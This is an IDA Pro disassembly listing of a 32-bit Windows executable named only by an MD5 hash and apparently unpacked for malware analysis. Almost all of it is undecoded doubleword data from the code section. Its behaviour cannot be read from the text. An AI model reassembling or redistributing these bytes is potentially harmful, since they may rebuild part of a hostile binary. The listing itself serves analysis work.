;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	AB0B5F9D945CFEBCEF8684D2DAA77DB4

; File Name   :	u:\work\ab0b5f9d945cfebcef8684d2daa77db4_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 6F3000A1h, 0C0690040h, 30043FDh, 9EC30500h, 0B4A30027h
		dd 0E8C1000Fh, 7FFF2510h, 0C3050000h, 424448Bh,	81C311B0h
		dd 1902CECh, 0F8D5810h,	68501700h, 0FF050901h, 85511415h
		dd 0A0C48116h, 8B55C315h, 5756EC02h, 0C70875FFh, 0F800C14h
		dd 4589C8BEh, 5505B008h, 7503B00Ah, 85FCE00Bh, 0B82EC9h
		dd 27D0226h, 0FF85C803h, 85F805E1h, 85D0E1D2h, 6AF0E0F6h
		dd 0F9058301h, 0C75587Fh, 41751985h, 3D751780h,	5874F03Bh
		dd 50A1137h, 0F9813274h, 3380ACh, 0FF830A75h, 277E0F16h
		dd 7C200B04h, 0C01D1120h, 0FF810802h, 7407E2A8h, 0A90FC710h
		dd 0FE1E0A47h, 32027501h, 5D5E5FC0h, 0ACC78C69h, 93539600h
		dd 0A8858D16h, 0FF680070h, 63500071h, 85C1049Ch, 794275C0h
		dd 1010E715h, 33F88B80h, 0FE3BF6h, 478B2D74h, 7430390Ch
		dd 48B2602h, 0C730FF06h, 0D8400819h, 0B005E853h, 0B844038h
		dd 157559C0h, 0C683801Eh, 63C8304h, 0EBDC67B0h,	5D8B0300h
		dd 74DB8508h, 0EB530203h, 69FC6805h, 0C7FA29CEh, 7F385018h
		dd 80C95A5Bh, 10EC830Bh, 106A027Dh, 0DECE458Dh,	11447878h
		dd 0C48305ABh, 81C7660Ch, 6800020Eh, 2D3D36BDh,	933650F4h
		dd 0F2172966h, 0D001161Fh, 6AF40B07h, 0F81D2F08h, 66A10C1h
		dd 535B1B30h, 2C026A2Ch, 0F08BF878h, 30FE832Ch,	0EBE30458h
		dd 0B561D5Ah, 17565010h, 8317FC1Eh, 2EF9FFF8h, 1C380DDBh
		dd 0C35A8A51h, 8BF87081h, 0C24137Ch, 38CE8E57h,	0C00974C4h
		dd 8017756Dh, 19E1B03Fh, 0B0F7BC57h, 0B077408h,	8B0C408Bh
		dd 0E5301E1Fh, 8B058542h, 0BCBE9FC6h, 5FF1402h,	29F47734h
		dd 9C063516h, 68EC046Eh, 0D1406A14h, 7069E041h,	17A4C9CEh
		dd 71100868h, 40EB240Fh, 5FE29C2Ch, 5625E531h, 0B12BAA0h
		dd 20352E8Bh, 50592E16h, 42505811h, 0B7E5BBD6h,	93D1016h
		dd 1C7F0FEFh, 5E26501Ch, 0AAD6295Fh, 13033C1Eh,	2EDB3357h
		dd 2DD55364h, 0E8270C0Fh, 0D62C9E53h, 4291B72Ah, 2A620775h
		dd 36A61E9h, 752D3C8Fh,	840F8657h, 560EE093h, 0B2FD02E8h
		dd 871BC924h, 5FEF00Bh,	0B36F3868h, 11DF18DFh, 0B583Ah
		dd 0CE0C56CDh, 300958D8h, 0C4856078h, 7D0DFC59h, 0CF0CF207h
		dd 829CF436h, 2511C4Ch,	8D532476h, 16D33584h, 16718C9Dh
		dd 46B226F0h, 0DC6025F2h, 9EDC7259h, 0B020110h,	0E82404C7h
		dd 1E26FB77h, 1B30928h,	0C2A8575Eh, 1AB1F55Fh, 0CCEB0744h
		dd 35719D3Bh, 0EE9F790Ch, 0C409D23Eh, 91EC2068h, 0C988B133h
		dd 0FEFD6961h, 0D548AC0h, 188858C4h, 200480h, 60404041h
		dd 0EE7C2848h, 19606A2Ch, 68FF4C38h, 4063E41Bh,	8B12625Dh
		dd 8B9040EFh, 1C383FD1h, 0E1EFB4FCh, 0EEFF7C06h, 0F0CCDE1Eh
		dd 68096A21h, 31643B2Fh, 0D8E1BDACh, 206B7B45h,	48B3F75h
		dd 0D001E91Ah, 0FE4588E0h, 0E5FE1162h, 21AE4F42h, 9041D70h
		dd 218E23B3h, 79FF3CFFh, 2C6471EBh, 846D371Bh, 0DF3BD884h
		dd 93C497C7h, 687AC657h, 22B389B8h, 6DAB188Fh, 3914A737h
		dd 9C0F3CECh, 8B36EE0Ch, 534C8B43h, 0B200C39Ch,	93CAC90Ch
		dd 765A3D14h, 922F67Bh,	1D8B6B74h, 4B8B8DA5h, 0CC424B89h
		dd 1C0ACE61h, 118D32Dh,	40BF5752h, 85D99C06h, 0FF0CBC58h
		dd 31325759h, 6434ECBDh, 8DE3D66Eh, 58680465h, 0D8DF7962h
		dd 0B56A252Ch, 7413BA28h, 3BDE7424h, 0A39B6304h, 415A331Ch
		dd 8D46A028h, 0EEC5CB5h, 5C0EAC5Fh, 130C1106h, 0D26A1868h
		dd 10C0C0EBh, 264F4646h, 0CF0FE375h, 5804581Ch,	0B8424ACDh
		dd 0D6B1EFC4h, 0A1CB1505h, 833B234h, 0A1ECEAC1h, 0F20A6738h
		dd 8D5B4C6h, 0ED3E0627h, 4893B43Fh, 3C8E09A6h, 3EEFB4A8h
		dd 8E6C3FECh, 0EF6BACB4h, 0FB8EB43Fh, 0B53FFB3Ch, 9A8C921h
		dd 0CFFAE3FAh, 0E7DEA669h, 99993516h, 0DD034C0Ah, 0C7D069E2h
		dd 253B60AAh, 0C2E7366h, 0FB8305DFh, 80657401h,	60740204h
		dd 74DD068h, 0F0DC0EB6h, 9906816h, 0BEC53767h, 562FCB34h
		dd 0D2A3696Fh, 86568BF1h, 36F2EC51h, 981AE197h,	0B7E6FF8h
		dd 63CDB6Bh, 0C5681009h, 0D1888553h, 737C017h, 0DACBFE9h
		dd 48385FB4h, 60B757D3h, 586A2ABCh, 702C1604h, 0B49B8DDBh
		dd 45535E32h, 3C0E787Fh, 432DB7DBh, 6882DE60h, 746A6A2Ch
		dd 647B1274h, 16803AF7h, 70B13840h, 159DD6DEh, 0F1B7CD6Ch
		dd 87690D94h, 3B00D06Bh, 80EC7CCFh, 12B944A5h, 45066300h
		dd 1C52BEA0h, 3C39ADB4h, 31785876h, 0BD8EAABCh,	0D4971439h
		dd 0C54FE40Eh, 257F0074h, 0FC7D8908h, 0FCCD5ECCh, 0EADC5EB8h
		dd 0DE8F6E67h, 9FE7E0CAh, 6CE41D08h, 7FDCACE5h,	22E1C56h
		dd 0F2F03DD8h, 33653753h, 3C1CBBF0h, 0BB475311h, 73AC8F69h
		dd 3DB66248h, 0D77F6936h, 0C730FC17h, 6A1601E0h, 4417B72Ch
		dd 756D7ED7h, 73B71D28h, 83C16464h, 8E04C083h, 2DEF9E4Bh
		dd 89C72D50h, 6814B85Ch, 64482F68h, 0BB634553h,	1FA03A7Ch
		dd 3A4764B4h, 7D831B5Ch, 6317A20Ch, 16A34C05h, 1A7C6A5Dh
		dd 0E2E0F81Ch, 703565DBh, 0BC93B1A7h, 741B9D4Fh, 6D5285E1h
		dd 4410C362h, 0D86885E9h, 68622DADh, 0EFE06124h, 9E48EFEDh
		dd 0CF83985h, 590AA038h, 0EFF0B5B2h, 665B6C68h,	0B7EC875Ch
		dd 0C71B5A8Eh, 6A5076A4h, 730ADE70h, 802ABC59h,	0A5EC878h
		dd 977584ECh, 8784680Bh, 0C7A24863h, 3C71674Ch,	80E36C79h
		dd 519610FCh, 353B74B1h, 0FDCC227h, 6FA741D3h, 68147026h
		dd 14E7EB86h, 33E6DA48h, 0B52A32E3h, 66763AEBh,	0AF744C7Ch
		dd 8210B687h, 0C0599303h, 7559013Ah, 0D913BC60h, 1840BE6Bh
		dd 0C259FB15h, 0B374596Bh, 56F6CFAh, 0EB079958h, 3A222D5Fh
		dd 0F001A33Ch, 0D90AEB01h, 0F40BFBF8h, 8C4EE07h, 59780281h
		dd 0E4837C5Eh, 2C530871h, 0B85F8CDBh, 0E6030BDAh, 6AD3277h
		dd 7868D035h, 0DDDE0B82h, 12505917h, 6D9538Bh, 0B4087D8Bh
		dd 3803B40Ch, 2768FB1Ch, 711B0400h, 0D9B41518h,	5A48016h
		dd 0A7B79913h, 0F874C51Dh, 5CB41A9Dh, 563AD475h, 0DB71D43Dh
		dd 307C0C0Eh, 0D8CFEB6Ch, 64FCD8A3h, 0C1C471FBh, 202BCC36h
		dd 1C67D6FBh, 661B17E0h, 6A6031A1h, 8DFC41B1h, 78190267h
		dd 149C7B16h, 33D81A8Bh, 30DDC6FFh, 7D041E60h, 8002830Eh
		dd 89592B0Eh, 0C85CBD44h, 0A75750Fh, 0EE8450Bh,	0F750507h
		dd 730EC59h, 5F5A066Ah,	9D6A2D4Dh, 58474838h, 58062059h
		dd 4C7C4B59h, 0D44CEEB4h, 1AE85827h, 0D008B0A0h, 8E72CC1h
		dd 3CC0E05h, 0C808EC7Dh, 0B97A5468h, 1FDB182Dh,	0C3E047E0h
		dd 4CF3D20Dh, 7B8D1DFCh, 0BDE427B8h, 98E41334h,	2A746DCFh
		dd 80E7BA8Ch, 2BDB162Ch, 8E00CE1Eh, 0ECD841B3h,	57E3D88Fh
		dd 19CFEE3Ch, 0DA0A112Eh, 0F9DC5D89h, 7BBD820h,	3DF40D8Bh
		dd 3BDE9A36h, 5341EF8Ch, 6F0974ACh, 0EB0BC453h,	0F79E9F75h
		dd 90F1FBB6h, 0F62D3415h, 6D7B133Ah, 7B300E8Fh,	0F85A8230h
		dd 26594A74h, 86AD6B2Dh, 2C1D8B86h, 74594FD1h, 8A30B315h
		dd 4070F852h, 361B7501h, 23356580h, 9CA9966Ah, 0F4591453h
		dd 2D1FD6CDh, 3524DEEBh, 4E183FA7h, 8F02D67Fh, 0D9DCA3DCh
		dd 36EBBDC4h, 0F64437F9h, 0CBB7745Ah, 0BA763918h, 0F0BB303Ch
		dd 8F0F1000h, 351F6625h, 84A93790h, 0A27004C2h,	6C082474h
		dd 8A002057h, 74203C06h, 5093C04h, 0EB460375h, 0C5D43BF3h
		dd 0A20B1844h, 0DC00D5Fh, 0BF048D0Eh, 7C8D4600h, 0E5EBD041h
		dd 0A8C7618Bh, 33085654h
		dd 3F5657F6h, 5F088BA5h, 45E1D58h, 0B515B268h, 0C66C6ADFh
		dd 75891A57h, 51FBC4F0h, 0E13C9B6h, 97B3056Ah, 85960D00h
		dd 0B70B573Fh, 930A5656h, 4D417AE8h, 428C51FCh,	1B086818h
		dd 1638FC9h, 196AC638h,	46EB7978h, 541EE4DAh, 2D91E304h
		dd 32C47669h, 461B9DBEh, 0D92C20D6h, 0A6D59F0h,	0F8C2C747h
		dd 4C0FF85h, 81067DDCh,	4FD3C749h, 0C3093C47h, 0C657E8E8h
		dd 1F6A00C2h, 0F9F75999h, 0FFA0283h, 0B6E84D7Eh, 231E0FF6h
		dd 9916A6E8h, 0B0ECE8Bh, 0A9BE852h, 23D69071h, 3B3E17EBh
		dd 0B0788E17h, 16EB5753h, 1969E82Ch, 0E8AC5EE3h, 8E0A535Bh
		dd 91ADB748h, 0D546F220h, 0ECD423Bh, 4EF6B110h,	40365C3Ch
		dd 0BF640EB9h, 3711BA95h, 17C50F7Ch, 180EC52Bh,	7004CB50h
		dd 0D577C80Eh, 0C9B4A620h, 0BB35BD3Ch, 0E2D13284h, 4C5151C3h
		dd 483D2E58h, 68C9B011h, 5E6A4D94h, 3D22D796h, 193D6C44h
		dd 234C04B4h, 50106F93h, 76170C27h, 0A830D12h, 0D25A597Fh
		dd 8E10E858h, 1010F167h, 2DFD86D2h, 40674280h, 0B73D87h
		dd 0D73CA235h, 48B464CBh, 53CE4CEAh, 65680B1Fh,	0BBC2261Eh
		dd 5A863680h, 0F03F13F8h, 0EE754B04h, 0E3E75Bh,	0BB86884h
		dd 0EB0A6035h, 24CED9ECh, 69BE56E2h, 0DC740E00h, 9D8D568Dh
		dd 8DFBDCE2h, 50150BD6h, 1D5B5A0Dh, 5BC8005h, 5C0CC8DBh
		dd 13741361h, 4D681778h, 9B6D2FCCh, 0C81E23A9h,	137130EEh
		dd 0DC020C80h, 165E74C1h, 4E726313h, 745A9E6Bh,	2E10CE4Ch
		dd 53409C68h, 8011FF68h, 0FB6E8267h, 0ED0D7567h, 5C0017CBh
		dd 81D6CC8h, 0CA126C6h,	9DC5CA50h, 8B00ACCCh, 0C245400h
		dd 4244C8Bh, 74D21385h,	8A082A47h, 8B8CE644h, 720474E0h
		dd 0D900F72Dh, 7403E183h, 0D12B08h, 49470788h, 0C88BFA75h
		dd 8E0C105h, 6A3C103h, 83CAC210h, 0E905C0E2h, 2E067402h
		dd 5C3AABF3h, 0F74A2306h, 695F993Eh, 0E861D6E4h, 0C132F75Bh
		dd 145FE003h, 0B41018Ah, 4074C084h, 0F175C20Eh,	0E030DC75h
		dd 0FF03BA01h, 37EFEFEh, 33BF70D0h, 0C11B83C2h,	6DA904h
		dd 0E8748101h, 0FC5C418Bh, 8433322Bh, 0A9131EE4h, 133DB886h
		dd 0ADB69BCBh, 0CDEB0201h, 68FF418Dh, 0C12C2B55h, 0FE7509C3h
		dd 0FC67FD9Dh, 0B8D781EEh, 69C5729h, 104D31E3h,	0B88B5CCBh
		dd 0C603D100h, 276FE3Bh, 0FF83B08h, 7A387882h, 8CB6C7F7h
		dd 0E0CB145Dh, 8F983D1h, 0F3290072h, 9524FFA5h,	51CE23D8h
		dd 1CBAC72Dh, 80E98309h, 0E0830C0Dh, 0C8580303h, 0F0398517h
		dd 8D06C122h, 90C523E8h, 8B6C07CEh, 2C970400h, 23503C03h
		dd 0C8AD127h, 1468A01h,	62014788h, 56EE0205h, 0C6597108h
		dd 5CB3C7C5h, 5B8DACCCh, 259D2B49h, 271019Ch, 0D6A6D102h
		dd 2E23905Eh, 475A2146h, 0DE8C3A19h, 6CF5C3Fh, 0B403B9BCh
		dd 0A49EACE7h, 0E7949C79h, 3188AC8Ch, 6885E48Eh, 7CFE48Fh
		dd 0ECE83CE8h, 0F0CFECF3h, 0F3F4F03Ch, 3CF8CFF4h, 0FCF2FCF8h
		dd 348D6DB1h, 0F0030B9Ah, 0E26CF803h, 0F0D1FF8Bh, 0FC0373F0h
		dd 62410C7h, 5C08458Bh,	9DB49071h, 0F97C0BFAh, 0A3EB11FDh
		dd 0AEEDA0Dh, 748DA02Bh, 7C67B031h, 7FFC4F39h, 0DC2249Dh
		dd 0FCE3C5FDh, 257077C7h, 65859749h, 0EF252016h, 0F9A38FD6h
		dd 78A12BE3h, 2CA1DB24h, 0B728890h, 0D003E7A8h,	99036DB8h
		dd 36FC23Ah, 4F58E54Eh,	0BDB656A3h, 0B51F4BCEh,	0B1EEA3B8h
		dd 63CBEF02h, 90F2294Eh, 24F527DEh, 0B1EEABB8h,	0AE69EFABh
		dd 0E5A4531h, 2E5BFED6h, 2C5C0624h, 3CF33403h, 4C3C44CFh
		dd 0D767F354h, 1C1C3C67h, 0E71807B9h, 79149E18h, 10E71014h
		dd 0C790C9Eh, 9E08E708h, 97044F04h, 80C51FCBh, 38805CBh
		dd 0AC7A989Eh, 0B7E78BD6h, 0EE87ADB5h, 0E783D70Fh, 0B7F6D213h
		dd 0CCC01E8Dh, 83003D51h, 968D119Eh, 14151751h,	25B8C281h
		dd 10D02DDDh, 17B60185h, 84EC7326h, 0CC48B16h, 8BE18B0Bh
		dd 884019A5h, 0EFD2C38Ch, 56534130h, 61118A30h,	98841031h
		dd 8A006919h, 0F6840171h, 5D8B4F74h, 11919F7h, 0D038C930h
		dd 0D9157423h, 3A180B9Bh, 750A380Ah, 5B5EF518h,	0A0C3B4C5h
		dd 0EB75F010h, 0FF7E8D02h, 3902618Ah, 106628F7h, 0E03811E0h
		dd 8A17C475h, 6310341h,	0FF668A18h, 83101F67h, 0B1EBDF74h
		dd 34C2E419h, 90E0C28Ah, 478D9119h, 0C30CFF5Ch,	5D31DD9h
		dd 20111A1Ah, 57F2A053h, 26B0086Ah, 7D338D59h, 6A0BA2E0h
		dd 16002C07h, 0B60F01B3h, 101CCCAh, 0E8C1CF23h,	0CE3D203h
		dd 0CF056699h, 0A2461816h, 8BE57502h, 29460855h, 0CA8B0610h
		dd 8A4960A4h, 27BB6A02h, 5BCE1B61h, 0E3D32860h,	8AE798C1h
		dd 0E0354C01h, 774D984h, 42038270h, 8BE016EBh, 0A7921DAh
		dd 0CE236D1Eh, 580B242Ah, 5025E0D3h, 21B475C1h,	228000h
		dd 5FC38B42h, 5EC2012Bh, 0C01BD8F7h, 23556C89h,	565BC327h
		dd 8493898h, 8D6A0CEBh,	0FDDA24A4h, 5757C936h, 8E0FCF20h
		dd 1B7FA63Bh, 1A3E238Fh, 79810E3Bh, 600DEBFFh, 8EBFE04h
		dd 3EBFDE0h, 0C0C68E6h,	194C5FBEh, 92414E95h, 1788640Bh
		dd 0EEE06247h, 668905EBh, 42D7417h, 0F86EB967h,	0B5118B69h
		dd 2FE1976Bh, 0BBF3427h, 69C2F727h, 79F1265h, 38C7966Ah
		dd 668BEE67h, 0C5C6C608h, 0CAD0043h, 0F08808C5h, 0EC3D8307h
		dd 1FE6C58h, 68117E09h,	4CA71D07h, 21A7AEECh, 0E195471Ah
		dd 0D8B26B0h, 8137C3E0h, 2541048Bh, 0C6F8A307h,	2820306Ah
		dd 7D31E451h, 64046134h, 0B2434A1h, 25896450h, 1CD74B07h
		dd 89570858h, 0C563E865h, 0D233C1ACh, 5C31D48Ah, 93C2EA64h
		dd 765CE181h, 600D2E89h, 0E1C1210Dh, 0ACAA68Bh,	0E8025C1Dh
		dd 0E258A310h, 8EF63307h, 7D232998h, 8754281h, 0B701C6Ah
		dd 63595419h, 83C0E89h,	4DD25821h, 1A27F7A8h, 20B8D074h
		dd 40A316A0h, 1ECC096Fh, 9A1D8B38h, 0BC58AEB4h,	79C6D02Bh
		dd 838FA431h, 1674A4h, 9C458942h, 1D045F6h, 0F06F986h
		dd 18D445B7h, 58410AABh, 729C4F8Dh, 0BE9EA01Fh,	89302566h
		dd 0E91A34D8h, 0EC47568Ch, 8909011Fh, 5150984Dh, 0BE1B1071h
		dd 0C7E0FE69h, 0CBE89875h, 23C3F6BAh, 75C56F48h, 251BC405h
		dd 423E78Bh, 9AC42588h,	0D04F7066h, 0BB2FE76Ah,	0F859F224h
		dd 0E450B025h, 428D60D0h, 0C35BFF1Bh, 648DE25Dh, 0D36C06C8h
		dd 0D88B3153h, 0EBC4BD90h, 0B0BFC908h, 0A8A130Ah, 0D4384236h
		dd 0C984D102h, 12F05174h, 0B36ED75h, 0C3029CD8h, 5610E3C1h
		dd 0A8B08C1h, 4611B6BFh, 3319B6C1h, 0F96FC1CBh,	0B4FFF183h
		dd 33CF021Ah, 4C283C6h,	1BD06D64h, 256D1C75h, 6D39622h
		dd 817979Ch, 2345E681h,	4023AD80h, 0CDC05B11h, 38FC428Bh
		dd 367437D8h, 38EF0DA7h, 0AB3E93DCh, 0BC8DE793h, 0DCF31512h
		dd 385806CFh, 0E12DB396h, 77FE42B1h, 0FD9F0637h, 0D125FC1Dh
		dd 8D91C522h, 0F9658848h, 0C772638h, 72592FDEh,	52EB2F30h
		dd 5B83F599h, 0C12B0E3Ah, 0D1B68085h, 15644F6h,	0A5E8023h
		dd 0FE658005h, 0FC4D1060h, 0FD451B88h, 916A46Ah, 45FD380Dh
		dd 42CFC6Bh, 0BB0A4D8Dh, 51018413h, 3C559A50h, 17682701h
		dd 27566D0h, 0C6B89B8Ch, 452C230Ah, 0A111080Ch,	0CC347454h
		dd 0D0FF0203h, 73601068h, 30060888h, 68A41BC1h,	0E6804h
		dd 16DD4BEAh, 8A974FC3h, 0D11B0C3Ch, 100CB28Bh,	86DA0147h
		dd 395F047Fh, 0BAE3943Dh, 0FD691175h, 0D3B8A963h, 64B49E49h
		dd 3155CD83h, 18585C20h
		dd 903D2E89h, 1D881622h, 3C82288Ch, 83F150A1h, 4CEF6122h
		dd 8D56C074h, 3B02FC71h, 8B1372F0h, 0B097F206h,	5A3B047Ch
		dd 73022235h, 18685EEDh, 0D41494D1h, 5A682898h,	1C3B1020h
		dd 5BDB8580h, 7AB41075h, 4F86895Bh, 6198362Ah, 0E23B78A2h
		dd 0D60D73AAh, 4C60A57h, 5D34EDEBh, 53D85344h, 18D3FF1Ch
		dd 8B842047h, 0F79C0858h, 15AEDA15h, 5C8205FBh,	0E5086083h
		dd 807158EAh, 4343FC1Ch, 73F61938h, 98AE8700h, 4CE6266Fh
		dd 0C04D4369h, 8B0C0B3Bh, 24680448h, 1DC85B85h,	0CC6D701Ch
		dd 6D743865h, 56D10003h, 157DCA3Bh, 4916348Dh, 1704D12Bh
		dd 161200B5h, 3022683h,	754A0CC6h, 177E46F7h, 16107C35h
		dd 58338E3Dh, 0C72D0C9Bh, 830E0C05h, 70EB1300h,	0CE123B25h
		dd 3D5D8381h, 0E884BC91h, 933D3B4Ah, 378385CEh,	82BC8D3Dh
		dd 3D3B24E8h, 8386CE8Fh, 0A3923D11h, 0CB8AE30Ah, 6A6688FFh
		dd 2E8C888Ch, 56590AECh, 0FA74595Eh, 3911515Dh,	0E368A39Ah
		dd 0FFC83683h, 7BD14868h, 5D5BE1BCh, 1C671DC3h,	6D7078D9h
		dd 0F8671539h, 0B85616FDh, 0ED748B05h, 0B74EB4Fh, 0CC08300h
		dd 473C63Bh, 0FC104339h, 490C8D02h, 8D03C55Eh, 0C13B15A1h
		dd 89661269h, 0EDCE3EEDh, 1B003B74h, 0A3E8662Ch, 2330499Eh
		dd 25637522h, 74616A9h,	119B476Dh, 0A1C019F7h, 0A7602861h
		dd 46E60128h, 3E80E3EBh, 0C00D2162h, 203C0A07h,	704EC676h
		dd 5977200Ch, 28E534FAh, 890FD104h, 0DB80C685h,	39DB3353h
		dd 0CC5AB41Dh, 0C85BFD48h, 4EEFD25Ah, 0C33A2B80h, 3D3C01DEh
		dd 23470174h, 3966683Ch, 0EB01A3C0h, 4128DE8h, 0AC3C04BDh
		dd 8BB12C01h, 0F33B59F0h, 0B4740931h, 7448CCA5h, 72F4C09h
		dd 1413D5Ah, 39741F38h,	396C5755h, 59E8058Bh, 853F8045h
		dd 0B1552249h, 31C33B34h, 2E6E063Ch, 36FF5708h,	596EACB4h
		dd 359166Eh, 750537FDh,	0B7FF5DC9h, 82452D84h, 0B1D2B8Bh
		dd 5F1E8940h, 4487985Eh, 0E8017471h, 6B510BF1h,	9CBE85BDh
		dd 3C982BDBh, 53515623h, 69A18AB2h, 84A2C729h, 38FE8B82h
		dd 8B4D6118h, 6DE347F8h, 53530BF3h, 671E459Fh, 0A0260F8Bh
		dd 8816E54Bh, 0EA19A5D4h, 3EA1D6CFh, 392F7508h,	8624E127h
		dd 356A5650h, 2C27FC2Ch, 7B5A4814h, 0A39C856Ch,	3606D068h
		dd 184CE26Ch, 30141CC4h, 0B321839Bh, 616A6672h,	0A60C7D44h
		dd 8BE494DFh, 0C6786685h, 61393777h, 80146189h,	449B3038h
		dd 150048Ah, 0C6FA8040h, 583929BEh, 0D2BE3025h,	218216F6h
		dd 41B4772h, 1043D74h, 70C0F685h, 1688108Ah, 0B40462Dh
		dd 0EB8BD59Dh, 4620CCEh, 461D3180h, 1CC24069h, 11D943EBh
		dd 0C51E6D05h, 44834004h, 0E983F6DAh, 881819C0h, 65B8461Eh
		dd 9797420h, 9086009h, 75E0CC75h, 0BBD94803h, 0FF664AD8h
		dd 2C6580D8h, 684E0018h, 16C700h, 2BD14439h, 3276805h
		dd 6CF15EB1h, 0BCF7C817h, 0B558BD0h, 0C702FF14h, 59D73AD0h
		dd 5C22C085h, 16400475h, 92F7EB43h, 0C3F62C81h,	6196B201h
		dd 307D3941h, 0B800D6Dh, 8D220178h, 8B1D38E3h, 3815C263h
		dd 0C9C0837h, 18D26C33h, 940F1805h, 58089C2h, 0D38BEBD1h
		dd 0B2F934Bh, 4088430Eh, 465C06C6h, 754BB1B0h, 0C58AF335h
		dd 92834A29h, 0A37CB33Fh, 74C33F8Ah, 94C833Ah, 282E742Eh
		dd 0C9E2195Bh, 0E21FE506h, 406F0F1Bh, 0E315032Eh, 90384001h
		dd 309AD81Fh, 0EE80F9Ch, 3C7B8A6h, 8E274E83h, 4CE1442h
		dd 98A06CFBh, 0A019A149h, 0B5684070h, 0D1C2EDD0h, 0C0C9F633h
		dd 475A88Bh, 260ED51Bh,	1674330Bh, 0ED7421BAh, 5828EB36h
		dd 4730CC3Dh, 1798FB3Bh, 0C71BF7EAh, 215EBC02h,	62C87D40h
		dd 0A781E0C7h, 3F0C2F43h, 0F0C22738h, 8C1E3966h, 40EBE173h
		dd 18086040h, 6BCF975h,	0C62BF211h, 50C82F87h, 84F8D10Dh
		dd 5953408Eh, 8903C090h, 23342444h, 235D7FFh, 3274EB3Bh
		dd 0C2223237h, 0C223747Bh, 0B950551Ch, 257724BBh, 97A92B21h
		dd 10230C0Eh, 8B5CE527h, 0B1038B09h, 5C4728Fh, 53EBC38Bh
		dd 75028982h, 85A5CE4Ch, 7408B177h, 8B60C03Ch, 2C0A74C7h
		dd 5A7B3840h, 0F60504FBh, 9C40C72Bh, 945666Ah, 68CEDD9Bh
		dd 0EBF622B0h, 6DBA0B46h, 0EC8B90F5h, 0C0F6B1B3h, 67C63D68h
		dd 624089EBh, 7D9C5B01h, 894459ECh, 0D232394Bh,	0B3093EADh
		dd 1B327365h, 4015C3E6h, 1C189673h, 20787440h, 29B4868Dh
		dd 7336B4ACh, 4396D1Ah,	46C6B6C0h, 0A15A0A05h, 2DF56C23h
		dd 0A1B0508h, 5DB4E2EBh, 66CC52A6h, 73420973h, 0C5D2C575h
		dd 0E99C4417h, 23B9740Bh, 5DC8D30h, 0A00800B8h,	2E1C8D4Ah
		dd 76027C2Ch, 6335392Dh, 0BF527D02h, 8F4CEE44h,	380068E6h
		dd 57F835Eh, 888D0789h,	4F607EB6h, 0B9608018h, 40C7087Eh
		dd 0C10F8B0Ah, 0C1810876h, 0DDE47C6Ch, 7C49F0D5h, 6EB16BBh
		dd 30D4098Bh, 187EF6A5h, 38038B46h, 68A3614h, 0C1F6004Dh
		dd 47ECE01h, 0B75080Bh,	87949EA5h, 0C7D05825h, 0C1CF8B01h
		dd 0E18305F8h, 85045530h, 218CCFB4h, 0B8BC805h,	2FC80889h
		dd 47EB6088h, 0C3038345h, 7CFE3B04h, 0EC5067BAh, 0FFD83CC1h
		dd 31D8F258h, 3B964D75h, 81041900h, 0F66AB481h,	8861EB58h
		dd 198748C3h, 72F58D71h, 0F203D858h, 0B5571750h, 250C8D66h
		dd 9A3ECF68h, 800608D0h, 0EB6AC54Eh, 3F8BB84h, 50A1C77h
		dd 0C604EB08h, 30438005h, 2D7C0374h, 0B8B8FF9Bh, 0A5F5D436h
		dd 44BD84A9h, 6AB3C4C3h, 0F3987732h, 0B6A0A368h, 63C02E76h
		dd 17558C5Bh, 569128A3h, 2D2E5C37h, 0F752570h, 10A73CB3h
		dd 0AE901E1Dh, 4BCD8672h, 0FCD62140h, 0C25529E7h, 33D868D8h
		dd 309EF886h, 5DA13C11h, 0E58B3AC7h, 41CFD022h,	67004h
		dd 81D8DB8h, 0E73A0F74h, 8910F1B8h, 0CBB80235h,	0BD3EC347h
		dd 6AD96012h, 0E05C68FEh, 66B26440h, 0C3AF8B5Dh, 0A620193Ch
		dd 708B0A4Ah, 53440E0Ch, 24047F2Eh, 21C02874h, 0B30C8B76h
		dd 39858949h, 17844889h, 0B1C3B37Ch, 14431275h,	0B32D2D4Eh
		dd 9124027Dh, 8C054FFh,	8F64C3EBh, 0DE4932ABh, 0E7F38CA2h
		dd 0D0641964h, 5A79810Fh, 75236804h, 8151190Dh,	390C52A6h
		dd 5B13151h, 8AC19B6Dh,	8C8CBB51h, 0F671B385h, 61A86708h
		dd 33024B16h, 6B02D043h, 465B590Ch, 56EF7024h, 30320243h
		dd 30304358h, 816374Dh,	59FC89FAh, 0F7B99C18h, 6CE4405Bh
		dd 212DC7D9h, 4531C489h, 16DE4D10h, 21713EF8h, 87BC273h
		dd 8D61C1D0h, 0B1760C2Ch, 45748F70h, 8D555605h,	0A89C106Bh
		dd 5E5D2E0Bh, 0C40B4C41h, 3C783317h, 45C54125h,	0B38BBB23h
		dd 56961D04h, 2EFDCE0Ch, 6FB33608h, 938FDE8Fh, 558F164Ah
		dd 5D3B0C2Eh, 1AE03008h, 0EB8F348Bh, 0DBB8A12Dh, 0C91CEB0Bh
		dd 0D015EB62h, 0B5FF6A5Ch, 165D963Fh, 55A394D6h, 8B02754Eh
		dd 1C418B29h, 1803C250h, 0F324D650h, 350EA1E1h,	99CCA18Eh
		dd 832AF2B8h, 6AD43D1Ch, 21089DCCh, 0D800FC68h,	33C42538h
		dd 9ACBA4A1h, 0FFF0F159h, 592A156Ah, 9AA4C06Ch,	8550184h
		dd 0A0B8C933h, 983B3E39h, 428E0B90h, 303D4108h,	0F137E06Eh
